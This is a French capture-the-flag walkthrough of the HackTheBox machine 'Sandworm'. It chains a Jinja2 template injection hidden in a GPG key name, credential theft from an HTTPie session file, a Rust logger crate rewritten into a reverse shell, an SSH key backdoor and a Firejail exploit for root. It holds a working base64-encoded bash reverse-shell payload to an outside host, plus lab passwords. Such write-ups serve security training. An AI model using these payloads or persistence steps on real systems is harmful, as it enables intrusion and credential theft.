HACKTHEBOX - SANDWORM
Lien : https://app.hackthebox.com/machines/sandworm
Enumeration Web
La machine renvoie vers un "ssa.htb". Mettre à jour son fichier hosts avant de continuer
On tombe sur une page des "services secrets" ?
On remarque dans le footer que flask est utilisé. Cela pourra nous servir plus tard :
Dans la page contact, on nous propose un formulaire de contact :
Explication de PGP/GPG
Ce dernier utilise PGP pour la signature de message. Cette fameuse organisation secrète nous donne, heureusement, un guide PGP ainsi que des test que l'on peut faire :
A partir de ce moment la, je sais que la première exploitation à faire se trouve dans cette page, et j'ai déja ma petite idée...
PGP est un systèmme cryptographique asymétrique, ce qui veut dire que chaque utilisateur possède 2 clés (une clé publique et une clé privée)
-
Chaque utilisateur génère une paire de clés : une clé publique (pour le chiffrement) et une clé privée (pour le déchiffrement).
-
Pour chiffrer un message destiné à un utilisateur, on utilise la clé publique du destinataire.
-
Le destinataire utilise sa clé privée pour déchiffrer le message chiffré avec sa clé publique.
-
Pour garantir l'authenticité, l'expéditeur peut signer numériquement le message avec sa clé privée, et le destinataire peut vérifier la signature à l'aide de la clé publique de l'expéditeur.
-
PGP utilise un modèle de réseau de confiance où les utilisateurs peuvent valider les clés publiques des autres utilisateurs en les signant.
En résumé, PGP utilise des clés publiques pour chiffrer les messages et des clés privées pour les déchiffrer et signer numériquement des messages. Cela permet d'assurer la confidentialité et l'authenticité des communications.
Il est possible de télécharger la clé PGP de l'organisme ssa
: https://ssa.htb/pgp
Clé PGP
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
=P8U3
-----END PGP PUBLIC KEY BLOCK-----
Dans la page, il est possible d'envoyer un message chiffré par la clé publique PGP de SSA. Pour cela on va utiliser GPG (GnuPG)
Attention a ne pas confondre les 2 !
- PGP est un standard de chiffrement asymétrique
- GPG est un logiciel qui implémente le standard PGP
Voici comment importer la clé PGP de SSA :
gpg --import ssa.pgp
gpg: key C61D429110B625D4: public key "SSA (Official PGP Key of the Secret Spy Agency.) <[email protected]>" imported
gpg: Total number processed: 1
gpg: imported: 1
La clé est bien importée, on peut chiffrer un message :
gpg --encrypt --armor --recipient "[email protected]" --output message_chiffre.gpg message.txt
Le message obtenu message_chiffre.gpg
devrait commencer par
-----BEGIN PGP MESSAGE-----
et finir par -----END PGP MESSAGE-----
On peut maintenant envoyer ce message à l'organisme et obtenir le message déchiffré :
Exploitation via SSTI
Maintenant essayons avec un payload SSTI (Server Side Template Injection) :
{{7*7}}
Cependant, le message n'est pas "interprété" par flask :
Nous allons essayer de faire la même chose, mais avec la signature de messages :
On génère d'abord une paire de clé pour nous et on incorpore notre SSTI dans le username et mail (pour être sûr) :
gpg --gen-key
GnuPG needs to construct a user ID to identify your key.
Real name: {{7*7}}
Email address: {{4*4}}
Not a valid email address
Email address: {{4*4}}@ssa.htb
You selected this USER-ID:
"{{7*7}} <{{4*4}}@ssa.htb>"
Puis nous lançons la vérification de la signature :
Signature is valid! [GNUPG:] NEWSIG [email protected] gpg: Signature made Wed 26 Jul 2023 01:18:26 AM UTC gpg: using RSA key FA8FFAE292226E82DE943CF05F3D947489EFDDAC gpg: issuer "[email protected]" [GNUPG:] KEY_CONSIDERED FA8FFAE292226E82DE943CF05F3D947489EFDDAC 0 [GNUPG:] SIG_ID 7/tsIh82ipUK6Up+siYJilsWrrA 2023-07-26 1690334306 [GNUPG:] KEY_CONSIDERED FA8FFAE292226E82DE943CF05F3D947489EFDDAC 0 [GNUPG:] GOODSIG 5F3D947489EFDDAC 49 <[email protected]> gpg: Good signature from "49 <[email protected]>" [unknown] [GNUPG:] VALIDSIG FA8FFAE292226E82DE943CF05F3D947489EFDDAC 2023-07-26 1690334306 0 4 0 1 10 00 FA8FFAE292226E82DE943CF05F3D947489EFDDAC [GNUPG:] TRUST_UNDEFINED 0 pgp [email protected] gpg: WARNING: The key's User ID is not certified with a trusted signature! gpg: There is no indication that the signature belongs to the owner. Primary key fingerprint: FA8F FAE2 9222 6E82 DE94 3CF0 5F3D 9474 89EF DDAC
Super ! Notre SSTI est bien exécutée !
Sur l'excellent repo "Payload All the Things" sont répertoriés des payloads pour les SSTI (lien : https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2---remote-code-execution )
Jinja2 est un moteur de template pour python. Il est utilisé par Flask. C'est celui la qui est vulnérable
On va donc créer une paire de clé avec cet utilisateur :
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzgwMDAgMD4mMQ==" | base64 -d | bash').read() }}
Génération de la clé
gpg --gen-key
Real name: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzgwMDAgMD4mMQ==" | base64 -d | bash').read() }}
Email address: [email protected]
You selected this USER-ID:
"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzgwMDAgMD4mMQ==" | base64 -d | bash').read() }} <[email protected]>"
On exporte la clé publique :
gpg --armor --export '[email protected]' > pubkey.asc
Puis on exporte le message signé :
gpg --sign --armor --local-user '[email protected]' --output signed_msg.asc message.txt
Enfin, on vérifie sur le site web et :
listening on [any] 8000 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.218] 59874
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:/var/www/html/SSA$
Nous sommes connectés en tant que atlas
! Cependant notre shell n'est pas très fonctionnel :
atlas@sandworm:~$ whoami
whoami
Could not find command-not-found database. Run 'sudo apt update' to populate it.
whoami: command not found
atlas@sandworm:~$ python
python
Could not find command-not-found database. Run 'sudo apt update' to populate it.
python: command not found
En parcourant les fichiers de atlas, je tombe sur un dossier .config
Dans ce dossier (plus particulièrement ici : ~/.config/httpie/sessions/localhost_5000) on trouve un fichier de session :
{
"__meta__": {
"about": "HTTPie session file",
"help": "https://httpie.io/docs#sessions",
"httpie": "2.6.0"
},
"auth": {
"password": "quietLiketheWind22",
"type": null,
"username": "silentobserver"
},
"cookies": {
"session": {
"expires": null,
"path": "/",
"secure": false,
"value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
}
},
"headers": {
"Accept": "application/json, */*;q=0.5"
}
}
On trouve des creds, on peut se connecter en via ssh sur l'utilisateur silentobserver:quietLiketheWind22
et avoir le flag user
PrivSC
On peut regarder le code source de l'application flask :
from flask import Flask
from flask_login import LoginManager
from flask_sqlalchemy import SQLAlchemy
db = SQLAlchemy()
def create_app():
app = Flask(__name__)
app.config['SECRET_KEY'] = '91668c1bc67132e3dcfb5b1a3e0c5c21'
app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://atlas:[email protected]:3306/SSA'
db.init_app(app)
# blueprint for non-auth parts of app
from .app import main as main_blueprint
app.register_blueprint(main_blueprint)
login_manager = LoginManager()
login_manager.login_view = "main.login"
login_manager.init_app(app)
from .models import User
@login_manager.user_loader
def load_user(user_id):
return User.query.get(int(user_id))
return app
Nous essayons de nous connecter mais pas beaucoup d'informations, en sachant que un hash PBKDF2 est compliqué a craquer
mysql> SHOW TABLES
-> ;
+---------------+
| Tables_in_SSA |
+---------------+
| users |
+---------------+
1 row in set (0.01 sec)
mysql> SELECT * FROM users
-> ;
+----+----------------+--------------------------------------------------------------------------------------------------------+
| id | username | password |
+----+----------------+--------------------------------------------------------------------------------------------------------+
| 1 | Odin | pbkdf2:sha256:260000$q0WZMG27Qb6XwVlZ$12154640f87817559bd450925ba3317f93914dc22e2204ac819b90d60018bc1f |
| 2 | silentobserver | pbkdf2:sha256:260000$kGd27QSYRsOtk7Zi$0f52e0aa1686387b54d9ea46b2ac97f9ed030c27aac4895bed89cb3a4e09482d |
+----+----------------+--------------------------------------------------------------------------------------------------------+
Reverse shell avec cargo
Sur pspy
je trouve ces processus qui s'éxécutent tous les X minutes :
2023/07/26 09:24:01 CMD: UID=0 PID=29547 | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/07/26 09:24:02 CMD: UID=1000 PID=29548 | /usr/bin/cargo run --offline
2023/07/26 09:24:02 CMD: UID=1000 PID=29549 | /usr/bin/cargo run --offline
2023/07/26 09:24:02 CMD: UID=1000 PID=29551 | /usr/bin/cargo run --offline
2023/07/26 09:24:02 CMD: UID=1000 PID=29553 | /usr/bin/cargo run --offline
2023/07/26 09:24:11 CMD: UID=0 PID=29557 | /bin/bash /root/Cleanup/clean_c.sh
2023/07/26 09:24:11 CMD: UID=0 PID=29558 | /bin/rm -r /opt/crates
2023/07/26 09:24:11 CMD: UID=0 PID=29559 |
2023/07/26 09:24:11 CMD: UID=0 PID=29560 | /bin/cp -rp /root/Cleanup/crates /opt/
Linpeas.sh attire mon attention sur un certain dossier : /opt/crates/logger
dont j'ai les droits d'écriture en tant que silentobserver
:
Ce dernier est un projet "cargo" avec le code source suivant :
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
Sachant que ce code est modifiable par moi, et que ce dernier sera exécuté par l'UID 1000 (soit l'utilisateur atlas), je peux modifier le code source afin d'avoir un reverse shell provenant de l'utilisateur atlas :
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
pub fn log(user: &str, query: &str, justification: &str) {
let sock = TcpStream::connect("localhost:4444").unwrap();
// a tcp socket as a raw file descriptor
// a file descriptor is the number that uniquely identifies an open file in a computer's operating system
// When a program asks to open a file/other resource (network socket, etc.) the kernel:
// 1. Grants access
// 2. Creates an entry in the global file table
// 3. Provides the software with the location of that entry (file descriptor)
// https://www.computerhope.com/jargon/f/file-descriptor.htm
let fd = sock.as_raw_fd();
// so basically, writing to a tcp socket is just like writing something to a file!
// the main difference being that there is a client over the network reading the file at the same time!
Command::new("/bin/bash")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
}
Puis je build le projet cargo :
cargo build
Compiling autocfg v1.1.0
Compiling libc v0.2.142
Compiling num-traits v0.2.15
Compiling num-integer v0.1.45
Compiling time v0.1.45
Compiling iana-time-zone v0.1.56
Compiling chrono v0.4.24
Compiling logger v0.1.0 (/opt/crates/logger)
warning: unused import: `std::fs::OpenOptions`
--> src/lib.rs:3:5
|
3 | use std::fs::OpenOptions;
| ^^^^^^^^^^^^^^^^^^^^
|
= note: `#[warn(unused_imports)]` on by default
warning: unused import: `std::io::Write`
--> src/lib.rs:4:5
|
4 | use std::io::Write;
| ^^^^^^^^^^^^^^
warning: unused import: `chrono::prelude::*`
--> src/lib.rs:5:5
|
5 | use chrono::prelude::*;
| ^^^^^^^^^^^^^^^^^^
warning: unused variable: `user`
--> src/lib.rs:11:12
|
11 | pub fn log(user: &str, query: &str, justification: &str) {
| ^^^^ help: if this is intentional, prefix it with an underscore: `_user`
|
= note: `#[warn(unused_variables)]` on by default
warning: unused variable: `query`
--> src/lib.rs:11:24
|
11 | pub fn log(user: &str, query: &str, justification: &str) {
| ^^^^^ help: if this is intentional, prefix it with an underscore: `_query`
warning: unused variable: `justification`
--> src/lib.rs:11:37
|
11 | pub fn log(user: &str, query: &str, justification: &str) {
| ^^^^^^^^^^^^^ help: if this is intentional, prefix it with an underscore: `_justification`
warning: `logger` (lib) generated 6 warnings
Finished dev [unoptimized + debuginfo] target(s) in 8.41s
Le fait que j'ai tous ces messages confirme que ce code va bien s'exécuter. Dans un autre shell (connecté aussi a l'utilisateur silentobserver) je lance un netcat :
nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 51342
bash: cannot set terminal process group (31809): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$
Super ! Maintenant, il me suffit d'uploader une clé SSH générée afin de me garantir une backdoor permanente :
Pour générer la clé :
ssh-keygen
Vous devriez avoir une clé id_rsa.pub
. Cette derniere doit être uploadée sur un fichier précis de l'utilisateur atlas (dans le dossier ~/.ssh) :
atlas@sandworm:~/.ssh$ echo "<clé pub> victorhin0@LAPTOP" > authorized_keys
Puis il est possible de se connecter a l'utilisateur atlas avec cette clé :
ssh -i id_rsa [email protected]
Privsc avec Firejail
Cet user atlas à des droits d'exécuter "firejail" en tant que root.
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail
Nous utiliserons cela pour la privilege escalation.
J'ai trouvé cet exploit qui fonctionne avec la version 0.9.68, qui permet d'obtenir un shell root ( https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25 ).
Nous vérifions d'abord avec l'utilisateur atlas la version de firejail :
firejail --version
firejail version 0.9.68
Puis on peut lancer l'exploit :
Shell 1 :
atlas@sandworm:~$ ./exploit.py
You can now run 'firejail --join=53732' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
Shell 2 :
atlas@sandworm:~$ firejail --join=53732
changing root to /proc/53732/root
Warning: cleaning all supplementary groups
Child process initialized in 7.40 ms
atlas@sandworm:~$ su -
root@sandworm:~#
Et nous sommes root !